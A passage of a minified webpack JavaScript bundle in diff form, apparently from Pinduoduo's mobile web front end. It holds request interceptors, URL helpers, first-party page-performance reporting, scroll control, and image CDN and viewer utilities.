resTimeConsume: r.resTimeConsume, + reqData: { + params: r.params, + data: r.data + }, + resData: n, + apiUrl: h()(r.url, r.params, r.paramsSerializer), + statusCode: 200, + pageId: e.pageId + }), + t + }, + responseError: n + } + }(n), { + request: function(e) { + var t = e.headers; + ""post"" === e.method && (t[""Content-Type""] = ""application/json;charset=UTF-8""); + var n = localStorage.getItem(""AccessToken""); + n && (t.AccessToken = n); + var r = O ? null : localStorage.getItem(""VerifyAuthToken""); + return r && (t.VerifyAuthToken = r), + e + } + }, { + request: function(e) { + return (Object(u.k)() ? Object(x.b)().then(function(e) { + return e.user_id + }).catch(function() { + return 0 + }) : Promise.resolve(0)).then(function(t) { + return e.params = a()({ + pdduid: t || parseInt(Object(S.a)(""pdd_user_id""), 10) || 0, + is_back: ""1"" === Object(C.e)(window.location.search).is_back ? ""1"" : null + }, e.params), + e + }) + } + }, + D(), { + response: function(e) { + return e.config.useRawResponse ? e : e.data + } + } + ]), + m + } + }, + rvpN: function(e, t, n) { + ""use strict""; + + function r(e) { + return null == e + } + n.d(t, ""a"", function() { + return r + }) + }, + rx36: function(e, t, n) { + ""use strict""; + var r = n(""fbeZ""); + t.a = r + }, + s1mm: function(e, t, n) { + ""use strict""; + var r = n(""3OdE""), + a = n(""IgcI""), + i = n(""Fcpp""), + o = r.a.error; + t.a = function(e, t) { + var n = arguments.length > 2 && void 0 !== arguments[2] ? arguments[2] : {}; + e == o.AuthenticationFailed.code ? i.a.trackingRecord(n) : a.default.showToast(o.getMsgFromCode(e)) + } + }, + tWR7: function(e, t, n) { + ""use strict""; + var r = n(""xnWZ""), + a = { + isAbsoluteUrl: function(e) { + return /^http[s]?:\/\//i.test(e) + }, + getRelativeUrl: function(e) { + if (""undefined"" != typeof window) { + e = e || window.location.href; + var t = document.createElement(""a""); + t.href = e; + var n = t.href, + r = n.match(/\w\/.*/); + return r ? n.substring(r.index + 1) : t.pathname + t.search + t.hash + } + }, + getParameters: function() { + var e = this.pageParseQuery(); + return JSON.parse(JSON.stringify(e)) + }, + getParameter: function(e) { + var t = this.pageParseQuery(); + return t ? t[e] : null + }, + parseQuery: function(e) { + if (null == e || e.length <= 0) + return {}; + ""?"" == e[0] && (e = e.substring(1)); + for (var t = {}, n = e.split(""&""), r = 0; r < n.length; ++r) { + var a = n[r].split(""=""); + if (null != a[0] && a[0].length > 0) { + var i = a[1] || """"; + t[decodeURIComponent(a[0])] = decodeURIComponent(i) + } + } + return t + }, + pageParseQuery: function() { + return this.parseQuery(window.location.search) + }, + buildQuery: function() { + for (var e = {}, t = 0; t < arguments.length; ++t) { + var n = arguments[t]; + for (var r in n) { + var a = n[r]; + null != r && null != a && (e[encodeURIComponent(r)] = encodeURIComponent(a)) + } + } + var i = """"; + for (var r in e) + i.length > 0 && (i += ""&""), + i += r + ""="" + e[r]; + return i + }, + buildURL: function(e, t, n) { + if (!document) + return !1; + var a = document.createElement(""a""); + if (a.href = t || location.href, + null != n) { + var i = a; + (a = document.createElement(""a"")).href = n, + i.pathname.length > 0 && (a.pathname = i.pathname, + r.b.isModuleVersion && [""http:"", ""https:""].indexOf(location.protocol) < 0 && (a.pathname = this.fullURL(i.pathname))), + i.search.length > 0 && (a.search = i.search), + i.hash.length > 0 && (a.hash = i.hash) + } + var o = this.parseQuery(a.search); + for (var s in e) { + var c = e[s]; + null == c ? delete o[s] : o[s] = c + } + var u = this.buildQuery(o); + return u.length > 0 ? a.search = ""?"" + u : a.search = """", + a.href + }, + fullURL: function(e) { + if (!document) + return !1; + if (r.b.isModuleVersion && [""http:"", ""https:""].indexOf(location.protocol) < 0) { + for (var t = (e = e || location.href).indexOf("".html""); t >= 0 && ""/"" != e.substr(t, 1);) + t--; + return e.substring(t + (""/"" == e.substr(t, 1) ? 1 : 0)) + } + var n = document.createElement(""a""); + return n.href = e, + n.href + }, + addTimeStampForUrl: function(e) { + var t = { + ts: (new Date).getTime() + }; + return this.buildURL(t, e) + }, + httpsSafe: function(e) { + if (!e) + return e; + var t = !1; + return t = !(location || {}).href.match(/^https?:/), + e.replace(/^https?:\/\//, t ? ""http://"" : ""//"") + }, + linking: function(e) { + if (!document) + return !1; + if (e) { + var t = ""id"" + (Math.random() + """").substr(2), + n = document.createElement(""a""); + n.setAttribute(""id"", t), + n.setAttribute(""href"", e), + n.setAttribute(""style"", ""display:none;""), + n.setAttribute(""height"", ""0px""), + n.setAttribute(""width"", ""0px""), + document.body.appendChild(n); + var r = document.getElementById(t); + r && r.click ? r.click() : null != n && n.click(), + n.parentNode.removeChild(n) + } + } + }; + t.a = a + }, + tf5S: function(e, t) { + e.exports = '
    \n
    \n
    \n
    \n
    \n
    \n
    \n
    \n
    \n
    \n
    \n
    \n
    \n
    \n
    \n
    \n
    \n
    \n
    \n
    \n' + }, + tl7A: function(e, t, n) { + ""use strict""; + (function(e) { + n.d(t, ""a"", function() { + return _ + }); + var r = n(""J4zp""), + a = n.n(r), + i = n(""lwsE""), + o = n.n(i), + s = n(""W8MJ""), + c = n.n(s), + u = n(""fkZF""), + l = n(""xJ31""), + p = n(""0P1e""), + d = n(""KoDT""), + h = n(""h3qu""), + f = n(""MpJ2""), + m = n(""ZVxM""), + g = Object(d.a)(), + v = Array.prototype.slice, + _ = function() { + function t(e) { + var n = this; + o()(this, t), + this.url = e.url ? e.url : Object(m.c)(""/api/cmt/ua_performance""), + this.skipNewVersionCheck = e.skipNewVersionCheck; + var r = Date.now(), + a = Object(u.a)(6); + this.data = { + v: 1, + t: r, + r: a, + c: Object(l.a)(r + ""-"" + a), + d: { + t: Date.now(), + n: 0, + rts: this.getRts(), + v: Object(m.a)(g.version) || ""-1"", + pn: e.id, + e: {} + } + }; + var i = this.getNativePackageType(); + i && (this.data.d.pt = i), + this.isSend = !1; + var s = window._plt || [], + c = s.push; + s.push = function() { + for (var e = arguments.length, t = new Array(e), r = 0; r < e; r++) + t[r] = arguments[r]; + var a = c.apply(s, t); + return n.checkReady(), + a + }, + window._plt = s, + this.checkReady() + } + return c()(t, [{ + key: ""getNativePackageType"", + value: function() { + return g.isTinyNativePlatform ? 1 : g.isLiteNativePlatform ? 2 : g.isMecoCore ? 3 : void 0 + } + }, { + key: ""checkReady"", + value: function() { + if (!this.isSend) { + var e = this.getGlobalParams().tm; + [""ps"", ""fp"", ""fs"", ""dr"", ""ld"", ""fsn""].reduce(function(t, n) { + return t && e.hasOwnProperty(n) + }) && (this.isSend = !0, + this.send()) + } + } + }, { + key: ""getRts"", + value: function() { + var e = window.performance; + if (!e || !e.timing) + return []; + var t = e.timing; + return [t.navigationStart, t.redirectStart, t.redirectEnd, t.fetchStart, t.domainLookupStart, t.domainLookupEnd, t.connectStart, t.secureConnectionStart, t.connectEnd, t.requestStart, t.responseStart, t.unloadEventStart, t.unloadEventEnd, t.responseEnd, t.domLoading, t.domInteractive, t.domContentLoadedEventStart, t.domContentLoadedEventEnd, t.domComplete, t.loadEventStart, t.loadEventEnd] + } + }, { + key: ""getGlobalParams"", + value: function() { + var e = { + cfg: {}, + tm: {} + }; + return (window._plt = window._plt || []).forEach(function(t) { + var n = a()(t, 3), + r = n[0], + i = n[1], + o = n[2], + s = e[r]; + s && !s[i] && (s[i] = o) + }), + e + } + }, { + key: ""getWebviewRts"", + value: function() { + return Promise.all([new Promise(function(e, t) { + if (!g.isNativePlatform || Object(h.c)(g.version, ""4.16.0"") < 0) + return e([]); + Object(f.c)(""WebScene"", ""getTiming"", {}).then(function() { + var t = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}; + return e(t.webViewRefresh ? [] : [t.webviewInit || t.webViewInit, t.webviewSetUrl || t.webViewSetUrl, t.webviewLoadStart || t.webViewLoadStart, t.webviewLoadEnd || t.webViewLoadEnd, t.webviewFirstPaint || t.webViewFirstPaint].map(function(e) { + return +e || 0 + })) + }, t) + }), new Promise(function(e, t) { + if (!g.isNativePlatform || Object(h.c)(g.version, ""4.61.0"") < 0) + return e([]); + Object(f.c)(""PDDLaunchInfo"", ""getInfo"", {}).then(function() { + var t = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}; + return e([t.app_start_time]) + }, t) + })]).then(function(e) { + var t = a()(e, 2), + n = t[0], + r = t[1]; + return n.length && n.concat(r) || [] + }).catch(function() { + return [] + }) + } + }, { + key: ""getCustomizedRts"", + value: function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}, + t = 0, + n = 0, + r = window.performance, + a = {}; + if (r && r.timing && r.getEntriesByName && r.getEntriesByType) { + var i = r.timing.navigationStart, + o = r.getEntriesByName(""first-paint"")[0], + s = r.getEntriesByName(""first-contentful-paint"")[0]; + o && (t = o.startTime + i), + s && (n = s.startTime + i); + var c = v.apply(document.querySelectorAll(""script"")).filter(function(e) { + return e.src && !e.async + }).map(function(e) { + return e.src + }), + u = v.apply(document.querySelectorAll('link[rel=""stylesheet""]')).map(function(e) { + return e.href + }), + l = r.getEntriesByType(""resource""), + p = l.filter(function(e) { + return u.includes(e.name) + }), + d = l.filter(function(e) { + return c.includes(e.name) + }), + h = function(e, t, n) { + return (e.length && e.reduce(function(e, r) { + return Math[t](e, r[n]) + }, e[0][n]) || 0) + i + }, + f = function(e, t) { + return h(e, ""min"", t) + }, + m = function(e, t) { + return h(e, ""max"", t) + }; + a = { + scriptStart: f(d, ""fetchStart""), + scriptEnd: m(d, ""responseEnd""), + styleStart: f(p, ""fetchStart""), + styleEnd: m(p, ""responseEnd"") + } + } + return [e.ps, e.fp, e.fs, e.dr, e.ld, e.fsn, t, n, a.styleStart, a.styleEnd, a.scriptStart, a.scriptEnd].map(function(e) { + return +parseInt(e, 10) || 0 + }) + } + }, { + key: ""getAssetsId"", + value: function() { + var e = [ + [""script"", + function(e) { + return e.src || """" + } + ], + [""link"", + function(e) { + return ""stylesheet"" === e.rel && e.href || """" + } + ] + ].map(function(e) { + return v.apply(document.getElementsByTagName(e[0])).map(e[1]).join("""") + }); + return Object(l.a)(e.join("""")) + } + }, { + key: ""isNewVersion"", + value: function() { + arguments.length > 0 && void 0 !== arguments[0] && arguments[0]; + if (this.skipNewVersionCheck) + return !1; + var e = this.getAssetsId(); + if (e) { + var t = location.pathname, + n = localStorage.getItem(""pdd_build_version""); + try { + n = JSON.parse(n) || {} + } catch (e) { + n = {} + } + var r = e === n[t]; + return r || (n[t] = e, + localStorage.setItem(""pdd_build_version"", JSON.stringify(n))), !r + } + return !1 + } + }, { + key: ""send"", + value: function() { + var t = this; + if (this.data.d.pn) { + var n = Object(m.b)(); + if (!(Math.random() > n.sampleRate)) { + var r = this, + i = this.getGlobalParams(); + Promise.all([Object(p.a)(), r.getWebviewRts()]).then(function(o) { + var s = a()(o, 2), + c = s[0], + u = s[1], + l = r.data.d; + l.r = n.amplifyRate, + l.n = c, + l.wrts = u, + l.crts = t.getCustomizedRts(i.tm), + l.nv = t.isNewVersion(); + var p = { + method: ""POST"", + body: JSON.stringify(r.data), + data: JSON.stringify(r.data), + headers: { + ""Content-Type"": ""application/json;charset=UTF-8"" + }, + credentials: ""include"" + }, + d = r.url; + g.isNativePlatform ? (Object.assign(p, { + url: d + }), + Object(f.c)(""JSNetwork"", ""request"", p).catch(function(e) { + if (g.platform === h.a.PddAndroid && Object(h.c)(g.version, ""4.78.0"") >= 0) + throw e + })) : e(d, p).catch(function(e) {}) + }) + } + } + } + }]), + t + }() + }).call(this, n(""BlQd"")) + }, + ""u/J7"": function(e, t, n) { + ""use strict""; + n.r(t); + var r = n(""EJiy""), + a = n.n(r), + i = function(e) { + m && e && (m.push(e), + m.push(e.style.overflow), + e.style.overflow = ""hidden"", + e.scrollYMax = e.scrollHeight - e.offsetHeight) + }, + o = function(e, t, n) { + var r = e.scrollHeight - e.offsetHeight, + a = Math.round(e.scrollTop - n); + return a < 0 ? a = 0 : a > r && (a = r), + a != e.scrollTop && (e.scrollTop = a, !0) + }, + s = function(e) { + e.preventDefault && e.preventDefault(), + e.returnValue = !1 + }, + c = function(e) { + var t = 0; + if (e && e.changedTouches && e.changedTouches.length) { + if (""touchstart"" == e.type) { + if (e.touches && -1 != f) { + for (var n = !1, r = 0; r < e.touches.length; r++) + if (f == e.touches[r].identifier) { + n = !0; + break + } + n || (f = -1) + } + if (-1 != f) + return void s(e); + var a = Date.now(); + if (a - g < 500 && v == e.target) + return void s(e); + g = a, + v = e.target, + f = e.changedTouches[0].identifier, + d = e.changedTouches[0].screenX, + h = e.changedTouches[0].screenY + } else if (""touchmove"" == e.type) { + if (f != e.changedTouches[0].identifier) + return void s(e); + var i = e.changedTouches[0].screenX, + c = e.changedTouches[0].screenY; + i - d, + t = c - h, + d = i, + h = c + } else if (""touchend"" == e.type) { + if (f != e.changedTouches[0].identifier) + return void s(e); + f = -1, + d = -1, + h = -1 + } + return ""touchmove"" == e.type ? (function(e, t, n) { + if (p && p.length && e) + for (; e;) { + if (e.id && -1 != p.indexOf(e.id)) + return o(e, 0, n); + e = e.parentNode + } + }(e.target, 0, t), + s(e), !1) : void 0 + } + s(e) + }, + u = function e(t) { + if (p && t) + if (""string"" == typeof t) + p.push(t), + i(document.getElementById(t)); + else if (""object"" === (void 0 === t ? ""undefined"" : a()(t))) { + if (function(e) { + return ""function"" == typeof Array.isArray ? Array.isArray(e) : ""[object Array]"" === Object.prototype.toString.call(e) + }(t)) + for (var n = 0; n < t.length; n++) + e(t[n]); + else + t.id && ""string"" == typeof t.id && (p.push(t.id), + i(t)) + } + }, + l = function(e) { + e._isScroller || e.preventDefault() + }, + p = null, + d = void 0, + h = void 0, + f = -1, + m = [], + g = 0, + v = null; + ! function() { + if (!((document.getElementsByTagName(""footer"") || []).length > 0)) { + var e = document.getElementsByClassName(""container"")[0]; + e && e.classList && e.classList.add(""no-footer"") + } + }(); + var _ = !1; + try { + var b = Object.defineProperty({}, ""passive"", { + get: function() { + _ = !0 + } + }); + window.addEventListener(""passivesupport"", null, b) + } catch (e) {} + var y = { + disableScroll: function() { + p = [], + 0 === m.length && (i(document.body), + i(document.querySelector("".container"")), + window.addEventListener(""touchmove"", c, !0), + window.addEventListener(""touchstart"", c, !0), + window.addEventListener(""touchend"", c, !0)); + for (var e = 0; e < arguments.length; e++) + u(arguments[e]) + }, + enableScroll: function() { + m.length && (function() { + if (m && m.length) { + for (var e = m.length - 2; e >= 0; e -= 2) + m[e].style.overflow = m[e + 1]; + m = [] + } + }(), + window.removeEventListener(""touchmove"", c, !0), + window.removeEventListener(""touchstart"", c, !0), + window.removeEventListener(""touchend"", c, !0)) + }, + onWindowResize: function(e) { + ""function"" == typeof e && (window.onresize = function(e, t) { + return function() { + null !== e && e(), + t() + } + }(""function"" == typeof window.onresize ? window.onresize : null, e)) + }, + disableScrollNew: function(e) { + var t = !!_ && { + passive: !0 + }, + n = !!_ && { + passive: !1 + }, + r = function(e) { + e.addEventListener(""touchstart"", function() { + var t = e.scrollTop, + n = e.scrollHeight, + r = t + e.offsetHeight; + 0 === t ? e.scrollTop = 1 : r === n && (e.scrollTop = t - 1) + }, t), + e.addEventListener(""touchmove"", function(t) { + e.offsetHeight < e.scrollHeight && (t._isScroller = !0) + }, t) + }; + if ((e = e || []).nodeType) + r(e); + else + for (var a in e) { + if (!e[a].nodeType) + return void console.error(""disableEventNew方法参数错误""); + r(e[a]) + } + document.body.addEventListener(""touchmove"", l, n), + document.documentElement.addEventListener(""touchmove"", l, n) + }, + disableBodyScroll: l, + enableScrollNew: function() { + document.body.removeEventListener(""touchmove"", l), + document.documentElement.removeEventListener(""touchmove"", l) + } + }, + w = {}; + w = function() { + var e = {}, + t = {}, + n = void 0; + return n = ""undefined"" != typeof window && window ? window.requestAnimationFrame || window.webkitRequestAnimationFrame || function(e) { + window.setTimeout(e, 1e3 / 60) + } : function() {}, + e.Animation = {}, + e.getWindowWidth = function() { + t.width; + var e = void 0; + return window ? e = window.innerWidth : document && document.body && (e = document.body.offsetWidth), + t.width = Math.min(e || 0, 640), + t.width + }, + e.getWindowHeight = function() { + t.height; + var e = void 0; + return window ? e = window.innerHeight : document && document.body && (e = document.body.offsetHeight), + t.height = e || 0, + t.height + }, + e.getOffsetLeftOnBody = function(t) { + return e.getOffsetLeft(t, document.body) + }, + e.getOffsetTopOnBody = function(t) { + return e.getOffsetTop(t, document.body) + }, + e.getOffsetTop = function(e, t) { + for (var n = 0; e && e != t;) + n += e.offsetTop, + e = e.offsetParent; + return n + }, + e.getOffsetFromParent = function(e, t) { + for (var n = 0, r = 0, a = 0; e && t && e !== t;) + if (n += e.offsetTop, + r += e.offsetLeft, + e = e.offsetParent, + ++a >= 100) + return; + return { + offsetTop: n, + offsetLeft: r + } + }, + e.getOffsetLeft = function(e, t) { + for (var n = 0; e && e != t;) + n += e.offsetLeft, + e = e.offsetParent; + return n + }, + e.setScrollTop = function(e, t) { + return t && t !== document.body ? (t.scrollTop = e, + t) : 0 === e ? (document.body.scrollTop = 0, (document.documentElement || {}).scrollTop = 0, + null) : (document.body.scrollTop = e, + 0 !== document.body.scrollTop ? document.body : ((document.documentElement || {}).scrollTop = e, !(!document.documentElement || 0 === document.documentElement.scrollTop) && document.documentElement)) + }, + e.getScrollTop = function(e) { + return e && e !== document.body ? e.scrollTop : document.body.scrollTop + ((document.documentElement || {}).scrollTop || 0) + }, + e.lazyLoadOnScroller = function(t, n, r, a) { + var i = t; + r = r || {}; + var o = a || document.body; + if (i) { + var s = 1; + ""number"" == typeof r.pageVerticalRatio && (s = r.pageVerticalRatio); + var c = r.pageHorizontalRatio || 0, + u = r.disableHorizontalCheck || !1, + l = r.disableVerticalCheck || !1, + p = e.getScrollTop(o) || 0, + d = o.scrollLeft || 0, + h = a ? o.offsetHeight : e.getWindowHeight(), + f = a ? o.offsetWidth : e.getWindowWidth(), + m = Math.max(((window ? window.innerWidth : document && document.documentElement && document.documentElement.offsetWidth ? document.documentElement.offsetWidth : e.getWindowWidth()) - f) / 2, 0); + if (r.specwrapperHeight && (h = e.getWindowHeight()), + r.onlyInScroller) { + var g = e.getOffsetTop(i, o), + v = e.getOffsetLeft(i, o); + if (g <= p || g >= h + p || v <= d || v >= d + f) + return + } + var _ = e.getScrollTop(o) || 0, + b = o.scrollLeft || 0, + y = h, + w = f, + S = Math.max(_ - y * s, 0), + C = _ + y * (s + 1), + A = Math.max(b - w * c, 0), + I = b + w * (c + 1), + k = !1, + E = [], + T = void 0; + E = r ? r.byClassName ? t.getElementsByClassName(r.byClassName) : r.byTagName ? t.getElementsByTagName(r.byTagName) : r.querySelectorAll ? document.querySelectorAll(r.querySelectorAll) : t.getElementsByTagName(""img"") : t.getElementsByTagName(""img""); + for (var N = n || E.length, x = 0; x < N; x++) { + var O = (T = E[x] || {}).getAttribute(""data-url"") || T.getAttribute(""data-imgUrl""); + if (T.dataset && O && T.src !== O) { + var D = e.getOffsetTop(T, o), + P = D + T.offsetHeight; + if (l || D >= S && D <= C || P >= S && P <= C) { + var R = e.getOffsetLeft(T, o), + M = (R = Math.max(R - m, 0)) + T.offsetWidth; + (u || R <= I && R >= A || M <= I && M >= A) && (T.src = O, + k = !0) + } else if (D > C) + break + } + } + return k + } + }, + e.addGoTopButton = function(t, n, r) { + t = t || document.body, + n = n || document.body; + var a = document.createElement(""div""); + a.innerHTML = ""顶部"", + a.className = ""go-top"", + n.appendChild(a); + var i = function() { + e.getScrollTop(t) < e.getWindowHeight() ? a.className = ""go-top top-button-hide"" : a.className = ""go-top top-button-show"", + r && ""function"" == typeof r && r() + }; + t.addEventListener(""scroll"", function() { + i() + }, !1), + a.addEventListener(""click"", function() { + e.setScrollTop(0, t), + i() + }, !1), + i() + }, + e.Animation.Funcs = { + Linear: function(e, t, n, r) { + return n * e / r + t + }, + Cubic: { + easeIn: function(e, t, n, r) { + return n * (e /= r) * e * e + t + }, + easeOut: function(e, t, n, r) { + return n * ((e = e / r - 1) * e * e + 1) + t + }, + easeInOut: function(e, t, n, r) { + return (e /= r / 2) < 1 ? n / 2 * e * e * e + t : n / 2 * ((e -= 2) * e * e + 2) + t + } + }, + Sine: { + easeIn: function(e, t, n, r) { + return -n * Math.cos(e / r * (Math.PI / 2)) + n + t + }, + easeOut: function(e, t, n, r) { + return n * Math.sin(e / r * (Math.PI / 2)) + t + }, + easeInOut: function(e, t, n, r) { + return -n / 2 * (Math.cos(Math.PI * e / r) - 1) + t + } + }, + Quart: { + easeIn: function(e, t, n, r) { + return n * (e /= r) * e * e * e + t + }, + easeOut: function(e, t, n, r) { + return -n * ((e = e / r - 1) * e * e * e - 1) + t + }, + easeInOut: function(e, t, n, r) { + return (e /= r / 2) < 1 ? n / 2 * e * e * e * e + t : -n / 2 * ((e -= 2) * e * e * e - 2) + t + } + } + }, + e.Animation.scrollLeftTo = function(t, n, r, a) { + (r = r || {}).attr = ""scrollLeft"", + e.Animation.gradualChange(t, n, r, a) + }, + e.Animation.gradualChange = function(t, r, a, i) { + if (t && void 0 !== r) { + var o = (a = a || {}).fn || e.Animation.Funcs.Linear, + s = a.wrapValueFn || null, + c = a.getValueFn || null, + u = a.during || 60, + l = a.callbackTimeout || 0, + p = a.inStyle || !1, + d = a.stopAdvance || 0, + h = a.attr; + if (h) { + var f = 0, + m = 0, + g = function() { + l ? i && setTimeout(i, l) : i && i() + }; + ! function e() { + f++; + var a = 0; + a = ""function"" == typeof c ? c(m) : t[h]; + var i = m = o(f, a, r - a, u); + ""function"" == typeof s && (i = s(m, f)), + p ? t.style[h] = i : t[h] = i, + f > u - d ? g() : f < u ? n(e) : g() + }() + } else + i && i() + } + }, + e.isNodeInPath = function(e, t, n, r) { + var a = !1; + if (!e || !t || !n) + return a; + r = r || {}; + for (var i = t; i;) { + if (i === e) { + a = !0; + break + } + r.lastMiddleNode = i, + i = i.parentNode + } + return a + }, + e.disableScroll = y.disableScroll, + e.enableScroll = y.enableScroll, + e.onWindowResize = y.onWindowResize, + e.disableScrollNew = y.disableScrollNew, + e.disableBodyScroll = y.disableBodyScroll, + e.enableScrollNew = y.enableScrollNew, + e + }(); + t.default = w + }, + u16y: function(e, t, n) { + ""use strict""; + var r = n(""b5fu""), + a = n(""xnWZ""), + i = n(""kk8N""), + o = n(""3OdE""), + s = n(""lSNA""), + c = n.n(s), + u = n(""J4zp""), + l = n.n(u), + p = n(""q1tI""), + d = n.n(p), + h = n(""7VIw""), + f = n.n(h), + m = n(""0Dta""), + g = n(""i8i4""), + v = n.n(g), + _ = n(""u/J7""), + b = function(e) { + var t, n = e.index, + r = e.height, + a = e.width, + i = e.imageList, + o = e.onClose, + s = Object(p.useState)(+n || 0), + u = l()(s, 2), + h = u[0], + g = u[1]; + Object(p.useEffect)(function() { + return _.default.disableScrollNew(), + function() { + _.default.enableScrollNew() + } + }, [i, n]); + var v = i.map(function(e, t) { + return d.a.createElement(""div"", { + key: t, + style: { + background: 'center no-repeat url(""'.concat(Object(m.c)(e), '"")'), + backgroundSize: ""contain"", + height: r, + width: a + } + }) + }); + return d.a.createElement(""div"", { + style: (t = { + position: ""fixed"", + top: 0, + bottom: 0, + left: 0, + right: 0, + zIndex: 9999999, + background: ""#000"", + display: ""flex"" + }, + c()(t, ""display"", ""-webkit-flex""), + c()(t, ""justifyContent"", ""center""), + c()(t, ""WebkitJustifyContent"", ""center""), + c()(t, ""WebkitAlignItems"", ""center""), + c()(t, ""alignItems"", ""center""), + t), + onClick: o + }, d.a.createElement(f.a, { + enableMouseEvents: !0, + index: h, + onChangeIndex: function(e) { + g(e) + } + }, v)) + }, + y = ""data:image/webp;base64,UklGRlAAAABXRUJQVlA4WAoAAAAQAAAADwAADwAAQUxQSBIAAAABBxAR/Q8ABOH/3EFE/1MDAABWUDggGAAAADABAJ0BKhAAEAACACYlpAADcAD+/PQAAA=="", + w = o.a.constant, + S = w.CDNConstant, + C = S.AliImageCDN, + A = S.TencentImageCDN, + I = S.ImageCDNType, + k = S.TENCENT_COMPRESS_DEFAULT, + E = { + getCDNImgURL: function(e) { + return this.httpsSafe(w.CDNImgHostName + e) + }, + addWaterMark: function(e, t, n) { + if ((e = e || """").indexOf(""!"") >= 0 && !n) + return e; + e = e.split(""!"")[0]; + var r = this.getImageCDNType(e); + return (e.indexOf(""upaiyun.com"") >= 0 || r === I.ALI || r === I.TENCENT) && (e += t), + e + }, + upaiyunCompress: function(e, t, n) { + if ((e = e || """").indexOf(""!"") >= 0 || e.indexOf(""@"") >= 0 || e.indexOf(""x-oss-process"") >= 0 || e.indexOf("".gif"") >= 0) + return e; + var r = this.getImageCDNType(e); + return e.indexOf(""upaiyun.com"") > 0 ? (t = t || ""750"", + e.indexOf(""weishoptest"") > 0 ? e += ""!640"" : e += ""!"" + t) : r === I.ALI ? (t = t || w.CompressPipe.Default, + e += ""@"" + (t += n || this.webpEnable ? "".webp"" : "".src"")) : r === I.TENCENT && (e = e.split(""?"")[0], + n || this.webpEnable ? e += ""?"".concat(k) : e += ""?imageMogr2/quality/70""), + e + }, + cdnCompress: function(e, t, n) { + return this.httpsSafe(this.upaiyunCompress(e, t, n)) + }, + httpsSafe: function(e) { + if (!e) + return e; + var t = !1; + return t = !(location || {}).href.match(/^https?:/), + e.replace(/^https?:\/\//, t ? ""https://"" : ""//"") + }, + getImageCDNType: function(e) { + var t = ((e || """").match(/\/\/([\w+\.]+)\//) || [])[1] || """"; + return C.indexOf(t) >= 0 ? I.ALI : A.indexOf(t) >= 0 ? I.TENCENT : t.match(/t\d+img\.yangkeduo\.com/) ? I.TENCENT : t.match(/a\d+img\.yangkeduo\.com/) ? I.ALI : I.DEFAULT + }, + getSquareAvatar: function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : """", + t = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : {}; + return this.getRoundAvatar(e, t) + }, + getRoundAvatar: function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : """", + t = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : {}, + n = this.getImageCDNType(e), + r = t.size || 100, + a = t.radius || 100; + if (I.ALI === n) + return this.xOssProcess(e, { + processes: [""resize,w_"".concat(r), ""circle,r_"".concat(a), ""format,png""] + }); + if (I.TENCENT === n) { + var i = encodeURIComponent(""|""); + return this.imageMogr2(e, { + processes: [""thumbnail/"".concat(r, ""x"").concat(i, ""imageMogr2/iradius/"").concat(a / 2, ""/format/png"")] + }) + } + return e + }, + imageMogr2: function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : """", + t = arguments.length > 1 ? arguments[1] : void 0; + if (this.getImageCDNType(e) !== I.TENCENT) + return e; + var n = e.split(""?"")[0]; + return t && t.processes && t.processes.length ? n + ""?imageMogr2"" + (t.processes || []).reduce(function(e, t) { + return """".concat(e, ""/"").concat(t) + }, """") : e + }, + xOssProcess: function(e, t) { + if (this.getImageCDNType(e) !== I.ALI) + return e; + var n = e = e || """"; + if (e.indexOf(""!"") >= 0 ? n = e.split(""!"")[0] : e.indexOf(""@"") >= 0 ? n = e.split(""@"")[0] : e.indexOf(""?"") >= 0 && (n = e.split(""?"")[0]), + t && t.method) { + var r = t.actions || {}, + a = """"; + for (var i in r) { + a += "","" + i + ""_"" + r[i] + } + return n + (a ? """".concat(""?x-oss-process=image"", ""/"").concat(t.method).concat(a) : """") + } + return t && t.processes && t.processes.length ? n + ""?x-oss-process=image"" + (t.processes || []).reduce(function(e, t) { + return """".concat(e, ""/"").concat(t) + }, """") : n + }, + webpEnable: !1, + viewImages: function(e, t, n) { + if (n = n || {}, + e = e.replace(/^\/\//, ""http://""), + t && (t = t.map(function(e) { + return e.replace(/^\/\//, ""http://"") + })), + a.b.isNativeImageViewerVersion) { + var r = n, + o = r.viewAttri, + s = r.showIndexBar, + c = void 0 === s || s, + u = r.comeInAnim, + l = r.exitOutAnim, + p = r.hybridPhotoBrowser, + h = r.longImageOptimizeInIphonex; + null == t && (t = [e]); + var f = t.indexOf(e); + f < 0 && (f = 0); + var m = t.map(function(e) { + return { + url: e + } + }); + i.a.callNative(""JSNavigation"", ""modal"", { + type: ""photo_browse"", + props: { + browse_items: m, + view_attri: o, + show_index_bar: c, + current_index: f, + come_in_anim: u, + exit_out_anim: l, + hybrid_photo_browser: p, + long_image_optimize_in_iphonex: h + }, + navigation_bar: { + hidden: !0 + } + }) + } else { + var g = n.ViewNotWechatInteraface || !1; + t = t || [e], + null != window.wx && a.b.isWeChatPlatform() && !g ? wx.previewImage({ + urls: t, + current: e + }) : function(e, t) { + var n = document.createElement(""div""); + document.body.appendChild(n), + v.a.render(d.a.createElement(b, { + height: window.innerHeight + ""px"", + width: window.innerWidth + ""px"", + imageList: t, + index: t.indexOf(e), + onClose: function() { + setTimeout(function() { + v.a.unmountComponentAtNode(n), + document.body.removeChild(n), + n = null + }, 0) + } + }), n) + }(e, t) + } + } + }; + t.a = E; + ! function() { + var e = w.CookieKey.UA; + if (""undefined"" != typeof navigator) { + var t = navigator.userAgent || navigator.vendor; + if (t = encodeURIComponent(t), + r.a.getCookieByName(e) !== t) { + var n = {}; + n[e] = t, + r.a.setCookie(n); + var a = {}; + a[w.CookieKey.WebpEnable] = null, + r.a.setCookie(a) + } + } + }(), + function() { + if (w && r.a && ""undefined"" != typeof document) { + var e = w.CookieKey.WebpEnable, + t = r.a.getCookieByName(e); + if (t) + E.webpEnable = ""1"" === t; + else { + var n = document.createElement(""img""); + n.onload = function() { + if (n.height && n.width) { + E.webpEnable = !0; + var t = {}; + t[e] = ""1"", + r.a.setCookie(t) + } + }, + n.onerror = function() { + var t = {}; + t[e] = ""0"", + r.a.setCookie(t) + }, + n.src = y + } + } + }() + }, + uSI5: function(e, t, n) { + ""use strict""; + + function r(e, t) { + var n = (65535 & e) + (65535 & t); + return (e >> 16) + (t >> 16) + (n >> 16) << 16 | 65535 & n + } + 